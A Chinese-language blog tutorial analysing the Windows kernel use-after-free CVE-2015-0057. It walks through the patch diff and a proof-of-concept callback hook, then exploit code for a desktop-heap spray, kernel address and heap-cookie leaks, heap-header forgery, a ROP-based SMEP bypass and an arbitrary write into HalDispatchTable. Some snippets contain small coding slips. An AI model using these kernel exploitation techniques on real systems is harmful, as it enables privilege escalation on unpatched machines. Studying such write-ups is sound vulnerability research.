CVE-2015-0057:從Windows內核UAF到內核桌面堆分配

2022-01-26 安全客

本篇文章主要是對Windows內核漏洞CVE-2015-0057進行分析,漏洞的知識點特別多,也閱讀了很多的資料,也很感謝給予我幫助的一些師傅,總之我會詳細的記錄自己對這個漏洞的理解和分析,我主要想分享一些我的學習方法,比如拿到一個Poc,該如何調試,如何判斷自己每一步做對了,拿到IDA反編譯的結果,該如何分析等等,先介紹一下這個漏洞的一些信息

Windows 8.1 x64 未打補丁的一個虛擬機用來測試Exploit也會就是說你在分析之前需要有下面的準備:
Windows 7 x64 的一個虛擬機用來查詢結構體IDA + Windbg 靜態分析加動態分析,天下無敵補丁對比讓我們先來直觀感受一下補丁前後的對比,這裡我們直接定位問題函數xxxDrawScrollBar

這裡在xxxDrawScrollBar函數後加了一層檢驗,主要是對[rdi+B0h]處結構的檢測,這個函數其實很有意思,他相當於一個通道可以實現ring0內核層到ring3用戶層在到ring0內核層的一條路,然而在路逕到達ring3用戶層的時候,我們完全可以幹很多很多嘿嘿嘿的事情,怎麼利用的我後面會慢慢道來,我們還是先看看這個函數是啥東西,連函數的功能都不知道怎麼回事的話,是不可能完全理解這個漏洞的,漏洞函數是在xxxEnableWndSBArrows,首先我們將IDA反編譯的結果拿來看,當然你直接看會是下面的結果,我也沒有必要全部複製下來,總之直接看肯定看不出個所以然

__int64 __fastcall xxxEnableWndSBArrows(struct tagWND *a1, int a2, int a3){  int *v3;   unsigned int v4;   int v5;   int v6;   struct tagWND *v7;   int v8;   HDC v9;   struct tagWND *v11;   struct tagWND *v12; 
v3 = (int *)*((_QWORD *)a1 + 22); v4 = 0; v5 = a3; v6 = a2; v7 = a1; [...]}

這裡有幾個方法,第一,看別人的分析文章,得到結構體數據分析函數流程。第二,在網上下一個Windows NT或者ReactOS源碼(當然也有在線網站,對照代碼分析函數流程。第三,自己從頭開始逆win32k.sys(僅限大佬。第四,在Windows 7 x64下用windbg中的dt命令查看結構體,自己分析得到Windows 8.1的結構體。這裡我直接放有一些注釋的反編譯結果

_BOOL8 __fastcall xxxEnableWndSBArrows(struct tagWND *pwnd, UINT wSBflags, UINT wArrow){  int *psbInfo;   BOOL return_flag;   UINT wArrows_;   UINT wSBflags_;   struct tagWND *pwnd_;   int v8;   HDC v9;   struct tagWND *v11;   struct tagWND *v12; 
psbInfo = (int *)*((_QWORD *)pwnd + 22); return_flag = 0; wArrows_ = wArrow; wSBflags_ = wSBflags; pwnd_ = pwnd; if ( psbInfo ) { v8 = *psbInfo; } else { if ( !wArrow ) return 0i64; v8 = 0; psbInfo = (int *)InitPwSB(); if ( !psbInfo ) return 0i64; } v9 = (HDC)GetDCEx(pwnd_, 0i64, 65537i64); if ( !v9 ) return 0i64; if ( !wSBflags_ || wSBflags_ == 3 ) { if ( wArrows_ ) *psbInfo |= wArrows_; else *psbInfo &= 0xFFFFFFFC; if ( *psbInfo != v8 ) { return_flag = 1; v8 = *psbInfo; if ( *((_BYTE *)pwnd_ + 40) & 4 ) { if ( !(*((_BYTE *)pwnd_ + 55) & 0x20) && (unsigned int)IsVisible(pwnd_) ) xxxDrawScrollBar(v12, v9, 0); } } if ( ((unsigned __int8)v8 ^ *(_BYTE *)psbInfo) & 1 ) xxxWindowEvent(32778); if ( ((unsigned __int8)v8 ^ *(_BYTE *)psbInfo) & 2 ) xxxWindowEvent(32778); } if ( !((wSBflags_ - 1) & 0xFFFFFFFD) ) { *psbInfo = wArrows_ ? (4 * wArrows_) | *psbInfo : *psbInfo & 0xFFFFFFF3; if ( *psbInfo != v8 ) { return_flag = 1; if ( *((_BYTE *)pwnd_ + 40) & 2 && !(*((_BYTE *)pwnd_ + 55) & 0x20) && (unsigned int)IsVisible(pwnd_) ) xxxDrawScrollBar(v11, v9, 1); if ( ((unsigned __int8)v8 ^ *(_BYTE *)psbInfo) & 4 ) xxxWindowEvent(32778); if ( ((unsigned __int8)v8 ^ *(_BYTE *)psbInfo) & 8 ) xxxWindowEvent(32778); } } ReleaseDC(v9); return return_flag;}

Poc的構造漏洞利用,肯定第一步得到漏洞點嘛,我們先到漏洞點,然後再看漏洞觸發能夠給我們帶來什麼東西,再進一步思考利用方法,首先需要我們熟悉幾個api函數,首先我們通過IDA的交叉引用可以找到xxxEnableWndSBArrows函數的原型NtUserEnableScrollBar然後我們可以找到用戶層對應的函數EnableScrollBar

BOOL EnableScrollBar(  HWND hWnd,  UINT wSBflags,  UINT wArrows);

函數的作用就是設置滾動箭頭啥的,我們這裡只需要關注怎麼通過代碼才能到達漏洞點?既然是滾動條設定,那我們第一步肯定得創建一個窗口吧,所以第一步肯定是創建一個窗口,這一步相信大家都是很清楚的,創建窗口類,註冊窗口,創建窗口一氣呵成,這不是很簡單麼?所以我們火速寫了下面幾個片斷

WNDCLASSEXA wc;
wc.cbSize = sizeof(WNDCLASSEX);wc.style = 0;wc.lpfnWndProc = DefWindowProcA;wc.cbClsExtra = 0;wc.cbWndExtra = 0;wc.hInstance = GetModuleHandleA(NULL);wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);wc.hCursor = LoadCursor(NULL, IDC_ARROW);wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);wc.lpszMenuName = NULL;wc.lpszClassName = szClassName;wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
RegisterClassExA(&wc)

當你寫到 CreateWindowExA 函數時,發現那麼多參數,肯定不能隨便設置就到漏洞點吧,回顧上面IDA的分析,我們需要讓wSBflags設置為0和3,並且wArrows不能為0,所以這裡我們在 EnableScrollBar 函數中的實現就是對第二個參數進行設置,我們構造如下的片斷

EnableScrollBar(        hWnd,         SB_CTL | SB_BOTH,         ESB_DISABLE_BOTH      );

既然 EnableScrollBar 函數設置如上,那麼就意味著我們創建的窗口必須滿足擁有滾動條控制項,為了同時能操作水平和垂直滾動條,必須以某種方式創建具有這兩個元素的滾動條控制項,所以我們進行如下的構造

hWnd = CreateWindowExA(    0,    szClassName,    0,    SBS_HORZ | WS_HSCROLL | WS_VSCROLL,     10,    10,    100,    100,    NULL,    NULL,    NULL,    NULL);

期間我們再加上ShowWindow和UpdateWindow兩個函數確保我們的窗口可見

ShowWindow(hwnd, SW_SHOW);UpdateWindow(hwnd);

那麼我們初步構造出能夠抵達漏洞點的初步Poc,動態過程如下接下來我們就需要考慮如何利用這個回調函數了,首先我們了解一下這個回調函數,這裡我直接放一張圖片,很清楚的說明了調用關係,圖片來自Udi師傅的文章

上面的調用關係你可以手動通過IDA一步一步的點,這裡我們關注幾個關鍵點,我們最後從ring0到ring3的接口是通過 KeUserModeCallback 函數到達的,倒數第二個函數是 ClientLoadLibrary ,下面介紹一下這兩個函數的關係。通常,每個進程有一個由 PEB->KernelCallBackTable 指向的用戶模式回調函數指針表。當內核想調用用戶模式函數時,它就把函數索引號傳遞給 KeUserModeCallBack()。在上面的例子中,索引號指向用戶態的 _ClientLoadLibrary 函數,那麼下面我們在PEB中找找這個結構,可以找到,偏移為0x238

1: kd> dt !_PEB @$peb -r KernelCallbackTablentdll!_PEB   +0x058 KernelCallbackTable : 0x00007ffb`dc110a80 Void1: kd> dqs 0x00007ffb`dc110a8000007ffb`dc110a80  00007ffb`dc0f3ef0 USER32!_fnCOPYDATA00007ffb`dc110a88  00007ffb`dc14adb0 USER32!_fnCOPYGLOBALDATA00007ffb`dc110a90  00007ffb`dc0e3b90 USER32!_fnDWORD00007ffb`dc110a98  00007ffb`dc0e59b0 USER32!_fnNCDESTROY00007ffb`dc110aa0  00007ffb`dc0f5640 USER32!_fnDWORDOPTINLPMSG00007ffb`dc110aa8  00007ffb`dc14b2b0 USER32!_fnINOUTDRAG00007ffb`dc110ab0  00007ffb`dc0f3970 USER32!_fnGETTEXTLENGTHS00007ffb`dc110ab8  00007ffb`dc11f1c0 USER32!__fnINCNTOUTSTRING00007ffb`dc110ac0  00007ffb`dc14b5b0 USER32!_fnINCNTOUTSTRINGNULL00007ffb`dc110ac8  00007ffb`dc14b1a0 USER32!_fnINLPCOMPAREITEMSTRUCT00007ffb`dc110ad0  00007ffb`dc0e65a0 USER32!__fnINLPCREATESTRUCT00007ffb`dc110ad8  00007ffb`dc11eb10 USER32!_fnINLPDELETEITEMSTRUCT00007ffb`dc110ae0  00007ffb`dc115820 USER32!__fnINLPDRAWITEMSTRUCT00007ffb`dc110ae8  00007ffb`dc0f9610 USER32!_fnINLPHELPINFOSTRUCT00007ffb`dc110af0  00007ffb`dc0f9610 USER32!_fnINLPHELPINFOSTRUCT00007ffb`dc110af8  00007ffb`dc11d7e0 USER32!__fnINLPMDICREATESTRUCT[...]00007ffb`dc110cb8  00007ffb`dc0e8530 USER32!_ClientLoadLibrary1: kd> ? (00007ffb`dc110cb8-00007ffb`dc110a80)Evaluate expression: 568 = 00000000`00000238

我們既然找到了它的位置,並且知道它和PEB有關,那我們就可以在ring3通過寄存器的方式訪問到 _ClientLoadLibrary 的位置並且hook掉它,因為在前面的代碼中我們只是單純的創建和顯示了一個帶有一些屬性的窗口,這裡hook自然也就想到了將它釋放到,如果我們將其釋放掉,後面函數流程中又對其一些結構進行訪問,那肯定是回出問題的,所以我們一步一步來,先獲取hook的地址

ULONG_PTR Get_ClientLoadLibrary(){    return (ULONG_PTR)*(ULONG_PTR*)(__readgsqword(0x60) + 0x58) + 0x238; }

BOOL Hook__ClientLoadLibrary(){    DWORD dwOldProtect;
_ClientLoadLibrary_addr = Get_ClientLoadLibrary(); _ClientLoadLibrary = (fct_clLoadLib) * (ULONG_PTR*)_ClientLoadLibrary_addr; Hook__ClientLoadLibrary();
if (!VirtualProtect((LPVOID)_ClientLoadLibrary_addr, 0x1000, PAGE_READWRITE, &dwOldProtect)) return FALSE;
*(ULONG_PTR*)_ClientLoadLibrary_addr = (ULONG_PTR)Fake_ClientLoadLibrary;
if (!VirtualProtect((LPVOID)_ClientLoadLibrary_addr, 0x1000, dwOldProtect, &dwOldProtect)) return FALSE;
return TRUE;}

VOID Fake_ClientLoadLibrary(){    if (hookflag)    {        if (++hookcount == 2)         {            hookflag = 0;            DestroyWindow(hWnd);        }    }}

這樣我們就構造了一個可以觸發藍屏的Poc,其中還需要注意的是,這裡的hookflag和hookcount的目的只有一個,就是為了讓DestroyWindow只執行一次。我們現在只能構造一個藍屏的Poc,我們要利用這個漏洞,還得知道這個藍屏能帶來什麼桌面堆想要了解這個漏洞的其他細節,我們得繼續分析回調函數後面的代碼,我們祭出IDA,繼續分析回調函數後面的流程,我們發現這裡其實存在一次對結構體的寫入

可能下面的那句話有點繞,這裡我解釋一下這句話啥意思,我們來看一下下面代碼的例子你就懂了,其實就是判斷?前面的值是否為真,若為真則返回:左邊的值,假就返回右邊的值

所以我們這裡的漏洞代碼就可能修改到 * psbInfo的值,也就是說我們達到一定條件可以改寫結構體的內容,因為是修改tagWND中的結構,其關聯的一些知識點就會涉及一些桌面堆的知識,所以我先給一些桌面堆的paper供大家參考,當然你不參考也可以繼續往下看,我會儘量解釋清楚
Tarjei Mandt 師傅的論文:https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf小刀師傅對菜單管理的博客(主要看堆中菜單的管理和洩露地址部分): https://xiaodaozhi.com/exploit/71.htmlWindows 8 堆管理(主要看堆頭部分就行):http://illmatics.com/Windows%208%20Heap%20Internals.pdfntdebug 師傅分析桌面堆結構:https://blogs.msdn.microsoft.com/ntdebugging/2007/01/04/desktop-heap-overview/leviathansecurity 對堆頭的介紹:https://www.leviathansecurity.com/blog/understanding-the-windows-allocator-a-redux/簡言之 win32k.sys 就是通過桌面堆來存儲與給定桌面相關的 GUI 對象,包括窗口對象及其相關結構,如屬性列表(tagPROPLIST)、窗口文本(_LARGE_UNICODE_STRING)、菜單(tagMENU)等,首先我們看幾個涉及到的結構體,結構都取自Windows 7 x64,第一個就是當我們調用CreateWindow函數創建窗口的時候,會生成一個tagWND結構,大小是0x128,這個結構很大,我們只需要關注幾個關鍵成員,也就是下圖標註了顏色的幾個結構

大小 0x24,加上堆頭 0x2c ,這也是我們 UAF 的對象

2: kd> dt -v win32k!tagSBINFO -rstruct tagSBINFO, 3 elements, 0x24 bytes   +0x000 WSBflags         : Int4B   +0x004 Horz             : struct tagSBDATA, 4 elements, 0x10 bytes // 水平      +0x000 posMin           : Int4B      +0x004 posMax           : Int4B      +0x008 page             : Int4B      +0x00c pos              : Int4B   +0x014 Vert             : struct tagSBDATA, 4 elements, 0x10 bytes // 垂直      +0x000 posMin           : Int4B      +0x004 posMax           : Int4B      +0x008 page             : Int4B      +0x00c pos              : Int4B

大小 0x18,加上堆頭0x20,由SetPropA函數創建

2: kd> dt -v win32k!tagPROPLIST -rstruct tagPROPLIST, 3 elements, 0x18 bytes   +0x000 cEntries         : Uint4B     +0x004 iFirstFree       : Uint4B     +0x008 aprop            : [1] struct tagPROP, 3 elements, 0x10 bytes // 一個單項的tagProp      +0x000 hData            : Ptr64 to Void       +0x008 atomKey          : Uint2B       +0x00a fs               : Uint2B 

下面介紹一下 SetPropA 這個函數,這個函數用來設置tagPROPLIST結構,若該屬性已經設置過,則直接修改其數據,若未設置過,則在數組中添加一個條目;若添加條目時發現,cEntries和iFirstFree相等,則表示props數組已滿,此時會重新分配堆空間,並將原來的數據複製進去。如果我們利用UAF增大了cEntries的值,在數組已滿的情況下,再次調用 SetPropA 函數,就會導致緩衝區溢出,後面我們就是利用這裡造成進一步的利用

BOOL SetPropA(  HWND   hWnd,  LPCSTR lpString,  HANDLE hData);

大小 0x10,加上堆頭 0x18,由RtlInitLargeUnicodeString函數可以初始化Buffer, NtUserDefSetText可以設置 tagWND 的 strName 欄位,此函數可以做到桌面堆大小的任意分配

2: kd> dt -v win32k!_LARGE_UNICODE_STRING -rstruct _LARGE_UNICODE_STRING, 4 elements, 0x10 bytes   +0x000 Length           : Uint4B   +0x004 MaximumLength    : Bitfield Pos 0, 31 Bits   +0x004 bAnsi            : Bitfield Pos 31, 1 Bit   +0x008 Buffer           : Ptr64 to Uint2B

大小 0x98,加上堆頭 0xa0,由CreateMenu()創建,可用來填補一些內存,並且後面還可以用來任意地址讀寫

2: kd> dt -v win32k!tagMENUstruct tagMENU, 19 elements, 0x98 bytes   +0x000 head             : struct _PROCDESKHEAD, 5 elements, 0x28 bytes   +0x028 fFlags           : Uint4B   +0x02c iItem            : Int4B   +0x030 cAlloced         : Uint4B   +0x034 cItems           : Uint4B   +0x038 cxMenu           : Uint4B   +0x03c cyMenu           : Uint4B   +0x040 cxTextAlign      : Uint4B   +0x048 spwndNotify      : Ptr64 to struct tagWND, 170 elements, 0x128 bytes   +0x050 rgItems          : Ptr64 to struct tagITEM, 20 elements, 0x90 bytes   +0x058 pParentMenus     : Ptr64 to struct tagMENULIST, 2 elements, 0x10 bytes   +0x060 dwContextHelpId  : Uint4B   +0x064 cyMax            : Uint4B   +0x068 dwMenuData       : Uint8B   +0x070 hbrBack          : Ptr64 to struct HBRUSH__, 1 elements, 0x4 bytes   +0x078 iTop             : Int4B   +0x07c iMaxTop          : Int4B   +0x080 dwArrowsOn       : Bitfield Pos 0, 2 Bits   +0x084 umpm             : struct tagUAHMENUPOPUPMETRICS, 2 elements, 0x14 bytes

初始化階段因為我們Poc裡面是銷毀的tagWND窗口,為了查看uaf之後改變了什麼,我們這裡初始化很多的tagWND,並且設置tagPROPLIST,64位的 tagSBINFO 大小是 0x28 ,而一個 tagPROPLIST 大小為0x18,當再增加一個 tagPROP 的時候,其大小剛好為 (0x18 + 0x10) == 0x28,也就是說我們剛好可以佔用釋放的那塊 tagSBINFO ,那也就可以監視 UAF 前後內存的變化,下面是窗口堆初始化函數實現

BOOL InitWindow(HWND* hwndArray,int count){    WNDCLASSEXA wn;
wn.cbSize = sizeof(WNDCLASSEX); wn.style = 0; wn.lpfnWndProc = WndProc; wn.cbClsExtra = 0; wn.cbWndExtra = 0; wn.hInstance = GetModuleHandleA(NULL); wn.hIcon = LoadIcon(NULL, IDI_APPLICATION); wn.hCursor = LoadCursor(NULL, IDC_ARROW); wn.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); wn.lpszMenuName = NULL; wn.lpszClassName = sz_ClassName; wn.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
if (regflag) { if (!RegisterClassExA(&wn)) { cout << "[*] Failed to register window.nError code is " << GetLastError() << endl; system("pause"); return FALSE; } regflag = FALSE; }
for (int i = 0; i < count; i++) {
hwndArray[i] = CreateWindowExA( 0, sz_ClassName, 0, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, (HWND)NULL, (HMENU)NULL, NULL, (PVOID)NULL );
if (hwndArray[i] == NULL) return FALSE;
SetPropA(hwndArray[i], (LPCSTR)(1), (HANDLE)0xAAAABBBBAAAABBBB); }
return TRUE;}

初始化設置完成之後理想的桌面堆應該如下圖,兩個一組,依次循環

接下來就是我們的監視桌面堆的階段了,我們來查看一下 UAF 之後改變了什麼,不過這裡就會有個問題,我們應該如何監視我們的桌面堆呢?下面是我最常用的代碼片斷,參考自sam-b師傅的GitHub項目

__debugbreak();PTHRDESKHEAD tagWND = (PTHRDESKHEAD)pHmValidateHandle(hwnd, 1);__debugbreak();UINT64 addr = (UINT64)tagWND->pSelf; printf("[+] spray_step_one[0] address is : 0x%pn", addr);

實現函數如下, 我們在 user32 中尋找 HMValidateHandle 函數, 該函數在 IsMenu 函數中有被調用,所以可以通過硬編碼比較的方式獲取 HMValidateHandle 的地址,然而這個函數有一個 pSelf 指針,可以洩露內核地址

extern "C" lHMValidateHandle pHmValidateHandle = NULL;
BOOL FindHMValidateHandle() { HMODULE hUser32 = LoadLibraryA("user32.dll"); if (hUser32 == NULL) { printf("[*] Failed to load user32n"); return FALSE; }
BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu"); if (pIsMenu == NULL) { printf("[*] Failed to find location of exported function 'IsMenu' within user32.dlln"); return FALSE; } unsigned int uiHMValidateHandleOffset = 0; for (unsigned int i = 0; i < 0x1000; i++) { BYTE* test = pIsMenu + i; if (*test == 0xE8) { uiHMValidateHandleOffset = i + 1; break; } } if (uiHMValidateHandleOffset == 0) { printf("[*] Failed to find offset of HMValidateHandle from location of 'IsMenu'n"); return FALSE; }
unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset); unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr; pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11); return TRUE;}

因此我們第一步的檢驗動態圖如下所示,我們洩露的是tagWND的地址,加上 a8 的偏移即是我們的 tagPROPLIST ,這裡我們可以看到,在寫入之後我們有個 0x2 的值變為了 0xe ,這個東西是什麼呢?對比一下 tagPROPLIST 的結構體你會發現剛好是 cEntries 的值,也就是說我們可以造成一次溢出事情並不是那麼順利我們把 cEntries 的值變大了,再次調用 SetPropA 就會溢出,然而我們新增加的 tagPROP 並不是完全可控的,我們再來看看這個結構,hData 和 atomKey 完全可控的也就 8 字節,fs 和內存對齊後面的就完全無法控制,也就是說我們需要利用好這 8 字節的溢出

1: kd> dt -v win32k!tagPROPstruct tagPROP, 3 elements, 0x10 bytes   +0x000 hData            : Ptr64 to Void    +0x008 atomKey          : Uint2B    +0x00a fs               : Uint2B 

前面介紹過_LARGE_UNICODE_STRING 結構,我們知道它的Buffer結構是一個指針,我們想通過它來實現任意內存訪問,所以這裡我們想的是在 tagPROP 後面接上一個 _LARGE_UNICODE_STRING 結構,修改Buffer欄位,然而你會發現,其實我們並不能完全控制到 Buffer 那裡

2: kd> dt -v win32k!_LARGE_UNICODE_STRING -rstruct _LARGE_UNICODE_STRING, 4 elements, 0x10 bytes   +0x000 Length           : Uint4B    +0x004 MaximumLength    : Bitfield Pos 0, 31 Bits    +0x004 bAnsi            : Bitfield Pos 31, 1 Bit     +0x008 Buffer           : Ptr64 to Uint2B 

不能覆蓋到哪裡,我們就得想其他的辦法,如果你看過前面的一些堆頭的paper,那你可能會想到,我們這裡最終選擇的是_HEAP_ENTR這個結構,其大小是 0x10,這裡主要關注注釋的內容,學過PWN堆部分的小夥伴有沒有很眼熟,什麼prev_size,size,fd,bk啥的對比過來不就很眼熟了麼,只不過這裡有一個SmallTagIndex的校驗碼,這是Windows的一個安全機制,為了防止堆頭被修改,你可以類比PWN保護機制中的Canary

1: kd> dt -v !_HEAP_ENTRYnt!_HEAP_ENTRYstruct _HEAP_ENTRY, 22 elements, 0x10 bytes   +0x000 PreviousBlockPrivateData : Ptr64 to Void   +0x008 Size             : Uint2B    +0x00a Flags            : UChar    +0x00b SmallTagIndex    : UChar    +0x00c PreviousSize     : Uint2B    +0x00e SegmentOffset    : UChar   +0x00e LFHFlags         : UChar   +0x00f UnusedBytes      : UChar   +0x008 CompactHeader    : Uint8B   +0x000 Reserved         : Ptr64 to Void   +0x008 FunctionIndex    : Uint2B   +0x00a ContextValue     : Uint2B   +0x008 InterceptorValue : Uint4B   +0x00c UnusedBytesLength : Uint2B   +0x00e EntryOffset      : UChar   +0x00f ExtendedBlockSignature : UChar   +0x000 ReservedForAlignment : Ptr64 to Void   +0x008 Code1            : Uint4B   +0x00c Code2            : Uint2B   +0x00e Code3            : UChar   +0x00f Code4            : UChar   +0x008 AgregateCode     : Uint8B

我們這裡想的是覆蓋堆頭的 Size 欄位,偽造堆的大小,當然這裡我們也需要繞過保護,先不管保護怎麼繞過,如果我們在下一個堆塊後面放置一個 tagMENU 結構,然後我們將整塊給 free 掉,因為 tagMENU 句柄未變,所以我們這裡會再次產生一個 UAF 漏洞,這裡我先貼桌面堆噴射實現的代碼

BOOL SprayObject(){    int j = 0;    CHAR o1str[OVERLAY1_SIZE - _HEAP_BLOCK_SIZE] = { 0 };    CHAR o2str[OVERLAY2_SIZE - _HEAP_BLOCK_SIZE] = { 0 };    LARGE_UNICODE_STRING o1lstr, o2lstr;
memset(o1str, 'x43', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE); RtlInitLargeUnicodeString(&o1lstr, (WCHAR*)o1str, (UINT)-1, OVERLAY1_SIZE - _HEAP_BLOCK_SIZE - 2);
memset(o2str, 'x41', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE); RtlInitLargeUnicodeString(&o2lstr, (WCHAR*)o2str, (UINT)-1, OVERLAY2_SIZE - _HEAP_BLOCK_SIZE - 2);
SHORT unused_win_index = 0x20;
for (SHORT i = 0; i < SHORT(MAX_OBJECTS - 0x20); i++) { SetPropA(spray_step_one[i], (LPCSTR)(i + 0x1000), (HANDLE)0xBBBBBBBBBBBBBBBB);
if ((i % 0x150) == 0) { NtUserDefSetText(spray_step_one[MAX_OBJECTS - (unused_win_index--)], &o1lstr); }
hmenutab[i] = CreateMenu();
if (hmenutab[i] == 0) return FALSE;
if ((i % 0x150) == 0) NtUserDefSetText(spray_step_one[MAX_OBJECTS - (unused_win_index--)], &o2lstr);
}
return TRUE;}

上面的代碼對_LARGE_UNICODE_STRING結構進行初始化以及設置,涉及到RtlInitLargeUnicodeString和NtUserDefSetText函數,對tagPROPLIST結構的設置,涉及到SetPropA函數,對tagMENU結構的設置,堆噴完的結果如下圖所示,四個一組,依次循環

堆頭的繞過其實就是多次異或操作,當Windows每次開機的時候會產生一個 cookie ,wjllz師傅講的比較直觀,偽代碼大致如下實現

heapCode[11] = heapCode[8] ^ heapCode[0] ^ heapCode[10] heapCode ^= cookie(系統每次開機的時候一個隨機值);if(heapCode[11] != heapCode[8] ^ heapCode[9] ^ heapCode[10])        BSOD

我們可以在溢出前對堆頭進行記錄,然後進行手動計算檢驗是否能繞過,這裡我直接參考洩露cookie的代碼,大致流程是通過對MEMORY_BASIC_INFORMATION結構體中各種內容的比較從而實現對 cookie 的洩露,其實這部分更像是一個公式一樣,相當於可以直接拿來用,當然想要完全理解肯定需要你自己手動調試的

BOOL GetDHeapCookie(){    MEMORY_BASIC_INFORMATION MemInfo = { 0 };    BYTE *Addr = (BYTE *) 0x1000;    ULONG_PTR dheap = (ULONG_PTR)pSharedInfo->aheList;
while (VirtualQuery(Addr, &MemInfo, sizeof(MemInfo))) { if (MemInfo.Protect = PAGE_READONLY && MemInfo.Type == MEM_MAPPED && MemInfo.State == MEM_COMMIT) { if ( *(UINT *)((BYTE *)MemInfo.BaseAddress + 0x10) == 0xffeeffee ) { if (*(ULONG_PTR *)((BYTE *)MemInfo.BaseAddress + 0x28) == (ULONG_PTR)((BYTE *)MemInfo.BaseAddress + deltaDHeap)) { xorKey.append( (CHAR*)((BYTE *)MemInfo.BaseAddress + 0x80), 16 ); return TRUE; } } } Addr += MemInfo.RegionSize; }
return FALSE;}

通過上面的洩露我們就可以繼續完善堆噴的代碼了,現在就可以在堆噴函數中加上對堆頭的操作了

memset(o2str, 'x41', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);*(DWORD *) o2str        = 0x00000000;*(DWORD *)(o2str+4)     = 0x00000000;*(DWORD *)(o2str+8)     = 0x00010000 + OVERLAY2_SIZE;*(DWORD *)(o2str+12)    = 0x10000000 + ((OVERLAY1_SIZE+MENU_SIZE+_HEAP_BLOCK_SIZE)/0x10);string clearh, newh;o2str[11] = o2str[8] ^ o2str[9] ^ o2str[10];clearh.append(o2str, 16);newh = XOR(clearh, xorKey);memcpy(o2str, newh.c_str(), 16);RtlInitLargeUnicodeString(&o2lstr, (WCHAR*) o2str, (UINT) - 1, OVERLAY2_SIZE - _HEAP_BLOCK_SIZE - 2);

Bypass SMEP對於SMEP的繞過主要是對cr4寄存器的修改,這裡我的rop是用的nt!KiConfigureDynamicProcessor+0x40片斷實現對cr4寄存器的修改,代碼實現如下

DWORD64 ntoskrnlbase(){    LPVOID lpImageBase[0x100];    LPDWORD lpcbNeeded = NULL;    TCHAR lpfileName[1024];
EnumDeviceDrivers(lpImageBase, (DWORD64)sizeof(lpImageBase), lpcbNeeded);
for (int i = 0; i < 1024; i++) { GetDeviceDriverBaseNameA(lpImageBase[i], (LPSTR)lpfileName, 0x40);
if (!strcmp((LPSTR)lpfileName, "ntoskrnl.exe")) { return (DWORD64)lpImageBase[i]; } } return NULL;}
DWORD64 GetHalOffset(){ DWORD64 pNtkrnlpaBase = ntoskrnlbase(); printf("[+] ntkrnlpa base address is : 0x%pn", pNtkrnlpaBase); HMODULE hUserSpaceBase = LoadLibraryA("ntoskrnl.exe");
DWORD64 pUserSpaceAddress = (DWORD64)GetProcAddress(hUserSpaceBase, "HalDispatchTable");
printf("[+] pUserSpaceAddress address is : 0x%pn", pUserSpaceAddress);
DWORD64 hal = (DWORD64)pNtkrnlpaBase + ((DWORD64)pUserSpaceAddress - (DWORD64)hUserSpaceBase) ;
return (DWORD64)hal;}
BOOL SMEP_bypass_ready(){ ROPgadgets = PVOID((DWORD64)ntoskrnlbase() + 0x38a3cc); if ((DWORD64)ntoskrnlbase() == NULL) { cout << "[*] Failed to get ntoskrnlbasen[*] Error code is " << GetLastError() << endl; system("pause"); return FALSE; } HalDispatchTable = (PVOID)GetHalOffset(); if (!HalDispatchTable) return FALSE;
cout << "[+] ROPgadgets address is : " << hex << ROPgadgets << endl; cout << "[+] HalDispatchTable address is : " << hex << HalDispatchTable << endl; return TRUE;}

Get Shell我們覆蓋了下一個堆頭之後,後面再次創建一個 tagMENU ,我們可以用SetMenuItemInfoA函數修改 rgItems 欄位從而實現任意寫

VOID MakeNewMenu(PVOID menu_addr, CHAR* new_objects, LARGE_UNICODE_STRING* new_objs_lstr, PVOID addr){    memset(new_objects, 'xAA', OVERLAY1_SIZE - _HEAP_BLOCK_SIZE);    memcpy(new_objects + OVERLAY1_SIZE - _HEAP_BLOCK_SIZE, (CHAR *)menu_addr - _HEAP_BLOCK_SIZE, MENU_SIZE + _HEAP_BLOCK_SIZE);
*(ULONG_PTR *)(BYTE *)&new_objects[OVERLAY1_SIZE + MENU_ITEMS_ARRAY_OFFSET] = (ULONG_PTR)addr;
RtlInitLargeUnicodeString(new_objs_lstr, (WCHAR*)new_objects, (UINT) -1, OVERLAY1_SIZE + MENU_SIZE - 2);}
MakeNewMenu(menu_addr, new_objects, &new_objs_lstr, (PVOID)((ULONG_PTR)HalDispatchTable + 4));

在這之後我們將tagWND銷毀,這將導致之後的 tagMENU 一併釋放,然後用 NtUserDefText 新申請同樣大小的堆塊,則我們自定義的Menu就會放入進去,只是最後ShellCode執行前我們需要先繞過SMEP,這裡只需要用 rop 即可,任意寫的實現是對 tagMENU 的寫入

VOID PatchDWORD(HMENU menu_handle, DWORD new_dword){    MENUITEMINFOA mii;
mii.cbSize = sizeof(mii); mii.fMask = MIIM_ID; mii.wID = new_dword; SetMenuItemInfoA(menu_handle, 0, TRUE, &mii);}
PatchDWORD(menu_handle, *(DWORD *)((BYTE *)&rop_addr + 4));RebuildMenu(new_objects, (PVOID)HalDispatchTable);PatchDWORD(menu_handle, *(DWORD *)(BYTE *)&rop_addr);

